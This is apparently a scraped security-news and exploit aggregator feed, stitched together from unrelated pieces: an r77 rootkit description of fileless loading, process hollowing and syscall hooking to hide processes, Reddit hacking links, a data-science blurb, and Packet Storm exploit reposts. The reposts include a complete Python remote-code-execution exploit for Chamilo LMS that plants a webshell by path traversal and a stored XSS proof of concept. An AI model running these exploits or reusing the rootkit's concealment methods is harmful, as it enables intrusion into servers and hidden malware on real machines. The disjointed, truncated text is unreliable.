Stage 2: The executed C# binary is the stager. It will create the r77 service processes using process hollowing. The r77 service is a native executable compiled in both 32-bit and 64-bit separately. The parent process is spoofed and set to winlogon.exe for additional obscurity. In addition, the two processes are hidden by ID and are not visible in the task manager.

No executables or DLL's are ever stored on the disk. The stager is stored in the registry and loads the r77 service executable from its resources. The PowerShell and .NET dependencies are present in a fresh installation of Windows 7 and Windows 10. Please review the documentation (https://bytecode77.com/downloads/r77%20Rootkit%20Technical%20Documentation.pdf) for a complete description of the fileless initialization.
Hooking
Detours is used to hook several functions from ntdll.dll. These low-level syscall wrappers are called by any WinAPI or framework implementation. NtQuerySystemInformation NtResumeThread NtQueryDirectoryFile NtQueryDirectoryFileEx NtEnumerateKey NtEnumerateValueKey EnumServiceGroupW EnumServicesStatusExW NtDeviceIoControlFile The only exception is advapi32.dll. Two functions are hooked to hide services. This is because the actual service enumeration (https://www.kitploit.com/search/label/Service%20Enumeration) happens in services.exe, which cannot be injected.
Test environment
The Test Console can be used to inject r77 to or detach r77 from individual processes.

Technical Documentation
Please read the technical documentation (https://bytecode77.com/downloads/r77%20Rootkit%20Technical%20Documentation.pdf) to get a comprehensive and full overview of r77 and its internals, and how to deploy and integrate it.
Project Page
bytecode77.com/r77-rootkit (https://bytecode77.com/r77-rootkit)

Download R77-Rootkit (https://github.com/bytecode77/r77-rootkit)

hacking: security in practice
"An 8th-Grader Could Have Hacked" The Koch-Owned Colonial Pipeline

https://external-preview.redd.it/01Qa4jnDvPkibYjCgIPXtHP-Kg7VRtBfisvz7wgM6qw.jpg?width=640&crop=smart&auto=webp&s=259652c225d5349c71ede540f039d4b83b679359 submitted by /u/bananamussel
[link] [comments]

hacking: security in practice
Nice little article about “Darkside” and the history of them and how they use their ransomware

https://external-preview.redd.it/FZGWlibzNbC3o38MY3rnW-Gj49e4Oe7Fhqb5xj5U4YI.jpg?width=640&crop=smart&auto=webp&s=3b71b31c60cba58282d8f256e3cbb4244c151b95 submitted by /u/Fraiz24
[link] [comments]

hacking: security in practice
How to mess with a games character models

Hey everyone! So let's say that I'm playing a fps games that doesn't have character customization and I wanted to change a characters suit color. How would I get into the games files to do that and is that illegal?

submitted by /u/Xboomburst
[link] [comments]

Hacker Noon - Medium
Python Libraries For Data Science

Top Data science libraries introduction of The Python programming language is assisting the developers in creating standalone PC games, mobiles, and other similar enterprise applications. Python has in excess of 1, 37,000 libraries which help in many ways. In this data-centric world, most consumers demand relevant information during their buying process. The companies also need data scientists for achieving deep insights by processing the big data.
Read the full story

Exploit Collector
Chrome Array Transfer Bypass

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
The fix for CVE-2021-21148 has added a check in |ValueSerializer::WriteJSArrayBuffer| to make sure non-detachable array buffers cannot be transferred. The check can be bypassed with the help of asm.js and property getters.

MD5 | 2c54899cf0b5cf9ab027a5329061b62e

Download
Source:packetstormsecurity.com

Exploit Collector
Chamilo LMS 1.11.14 Remote Code Execution

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Chamilo LMS version 1.11.14 authenticated remote code execution exploit.

MD5 | 5a8f8f1545cefe375862b9f2c4609083

Download
# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
# Date: 13/05/2021
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://chamilo.org
# Software Link: https://github.com/chamilo/chamilo-lms
# Version: 1.11.14
# Tested on: Ubuntu 20.04.2 LTS
# CVE: CVE-2021-31933
# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/

from requests import Session
from random import choice
from string import ascii_lowercase

import requests

# This is all configuration stuff,
url = "http://127.0.0.1/chamilo-lms/" # URL to remote host web root
user_name = "admin" # User must be an administrator
password = "admin"
command = "id;whoami"

# Where you want to upload your webshell. Must be writable by web server user.
# This spot isn't protectec by .htaccess
webshell_path = 'web/'
webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file
content = f"<?php"

def main():
# Run a context manager with a session object to hold login session after login
with Session() as s:
login_url = f"{url}index.php"
login_data = {
"login": user_name,
"password": password
}
r = s.post(login_url, data=login_data) # login request

# Check to see if login as admin user was successful.
if "admin" not in r.url:
print(f"[-] Login as {user_name} failed. Need to be admin")
return
print(f"[+] Logged in as {user_name}")
print(f"[+] Cookie: {s.cookies}")
file_upload_url = f"{url}main/upload/upload.php"
# The 'curdirpath' is not santitized, so I traverse to the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well
php_webshell_file = {
"curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"),
"user_upload": (webshell_name, content)
}

## Good command if you want to see what the request looks like without sending
# print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))

# Two requests required to actually upload the file
for i in range(2):
s.post(file_upload_url, files=php_webshell_file)

exploit_request_url = f"{url}{webshell_path}{webshell_name}"
print("[+] Upload complete!")
print(f"[+] Webshell: {exploit_request_url}")

# This is a GET request to the new webshell to trigger code execution
command_output = s.get(exploit_request_url)
print("[+] Command output:\n")
print(command_output.text)
if __name__ == "__main__":
main()

Source:packetstormsecurity.com

Exploit Collector
Student Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-ILIpsq3JVDo/WWlvQ8IjxbI/AAAAAAAAINI/veR2GTC9zzcP6cUZEvOZqGdUDt2RtL0uQCLcBGAs/s1600/h32.png
Student Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 5461c3ba471eba425783842dcc1f9e29

Download
# Exploit Title: Student Management System 1.0 - 'message' Persistent Cross-Site Scripting (Authenticated)
# Date: 2021-05-13
# Exploit Author: mohsen khashei (kh4sh3i) or kh4sh3i@gmail.com
# Vendor Homepage: https://github.com/amirhamza05/Student-Management-System
# Software Link: https://github.com/amirhamza05/Student-Management-System/archive/refs/heads/master.zip
# Version: 1.0
# Tested on: ubuntu 20.04.2

# --- Description --- #

# The web application allows for an Attacker to inject persistent Cross-Site-Scripting payload in Live Chat.
# --- Proof of concept --- #

1- Login to Student Management System
2- Click on Live Chat button
3- Inject this payload and send : <image
5- Xss popup will be triggered.
# --- Malicious Request --- #

POST /nav_bar_action.php HTTP/1.1
Host: (HOST)
Cookie: (PHPSESSID)
Content-Length: 96

send_message_chat%5Bmessage%5D=<image


Source:packetstormsecurity.com